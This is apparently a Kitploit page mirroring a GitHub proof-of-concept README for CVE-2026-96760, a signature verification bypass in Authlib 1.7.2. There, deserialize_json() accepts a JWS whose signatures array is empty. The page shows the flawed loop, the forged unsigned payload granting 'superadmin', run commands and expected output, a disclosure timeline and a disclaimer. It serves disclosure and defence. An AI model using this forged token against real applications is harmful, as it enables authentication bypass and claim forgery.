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CVE-2026-96760 — Authlib 1.7.2: Signature Verification Bypass - General JSON JWS Accepts Unsigned Payload when `signatures` is Empty | Kitploit
Tools/GitHubGitHub/uziii2208/cve-2026-96760
Vulnerability AnalysisCode AnalysisExploitationWeb SecurityCryptographyAuthenticationLearning & Education
GitHubuziii2208/cve-2026-96760

CVE-2026-96760

Authlib 1.7.2: Signature Verification Bypass - General JSON JWS Accepts Unsigned Payload when `signatures` is Empty

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41 month agoNot yet reviewed
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CVE-2026-96760 - Authlib JWS Signature Verification Bypass PoC

Proof-of-concept for a signature verification bypass in Authlib's authlib.jose module. JsonWebSignature.deserialize_json() accepts a General JSON JWS object with an empty signatures array and returns the attacker-controlled payload as successfully verified - no key required, no signature checked.

Vulnerability

Affected: Authlib ≤ 1.7.2, authlib.jose module Not affected: the compact JWT path (jwt.decode()). This bug is specific to the JSON Serialization JWS API. CWE: CWE-347 (Improper Verification of Cryptographic Signature), CWE-670, CWE-358 Status: unpatched in 1.7.x - the authlib.jose module was removed entirely in Authlib 1.8, not fixed. Any deployment pinned below 1.8 remains exposed.

Root Cause

# authlib/jose/rfc7515/jws.py
headers = []
is_valid = True                                  # starts True
for header_obj in obj["signatures"]:             # zero iterations when signatures = []
    jws_header, valid = self._validate_json_jws(
        payload_segment, payload, header_obj, key
    )
    headers.append(jws_header)
    if not valid:
        is_valid = False

rv = JWSObject(headers, payload, "json")
if is_valid:
    return rv                                    # attacker payload returned as verified
raise BadSignatureError(rv)

is_valid is initialized to True and only ever flipped inside the loop body. When signatures is [], the loop runs zero times, no verification logic executes, and the function returns success - a classic vacuous-truth flaw. Both public entry points are affected:

jws.deserialize_json({"payload": "...", "signatures": []}, key)  # direct
jws.deserialize('{"payload": "...", "signatures": []}', key)     # generic dispatcher

Impact

Any application that verifies attacker-controlled JSON JWS input via deserialize_json() or deserialize() loses its authenticity/integrity guarantees on that input:

  • Authentication bypass - forge sub, role, session claims
  • Inter-service trust bypass - inject arbitrary messages between services exchanging JSON JWS
  • Authorization forgery - fabricate scope, tenant, permissions claims

Usage

git clone https://github.com/uziii2208/CVE-2026-96760.git
cd CVE-2026-96760
python3 exploit.py

Expected Output

=================================================================
[BASELINE] Creating legitimate JWS with real signature
=================================================================
Valid token:
{
  "payload": "eyJzdWIiOiJsZWdpdC11c2VyIiwiYWRtaW4iOmZhbHNlfQ",
  "signatures": [
    {
      "protected": "eyJhbGciOiJIUzI1NiJ9",
      "signature": "_IhsSGd6d2jAISIu0BkmCrWGCRU5ZsAJnF7aymDNJ-g"
    }
  ]
}
[+] Verification succeeded: payload = b'{"sub":"legit-user","admin":false}'

=================================================================
[BASELINE] Verification with wrong key - must be rejected
=================================================================
[+] Correctly rejected - BadSignatureError: bad_signature:

=================================================================
[EXPLOIT] Forged payload WITHOUT any signing key
=================================================================
Malicious JWS:
{
  "payload": "eyJzdWIiOiJhdHRhY2tlciIsImFkbWluIjp0cnVlLCJyb2xlIjoic3VwZXJhZG1pbiJ9",
  "signatures": []
}

[X VULNERABLE] Verification succeeded WITHOUT any signature!
    Payload  : b'{"sub":"attacker","admin":true,"role":"superadmin"}'
    Headers  : []
    Type     : json

    → Attacker fully controls payload content
    → Application trusts payload as signed by trusted party

The three cases isolate the flaw precisely: a real signature with the wrong key is correctly rejected, a real signature with the right key is correctly accepted, and an empty signature list - which should be the most rejected case of all - is silently accepted.

Disclosure Timeline

  • Reported to Authlib maintainers: Jul 28
  • Closed by maintainer, citing authlib.jose deprecation (no fix issued): Jul 30
  • CVE-2026-96760 assigned: CERT/CC, reserved 2026-09-23, published 2026-09-28
  • authlib.jose removed in Authlib 1.8 (not backported as a fix)

Credits

Discovered and reported by uziii2208 and nguyenminhtuan28.

Disclaimer

This PoC is published for educational and defensive purposes - to help maintainers, security teams, and downstream users understand and remediate the issue. Do not use against systems you don't own or have explicit authorization to test.

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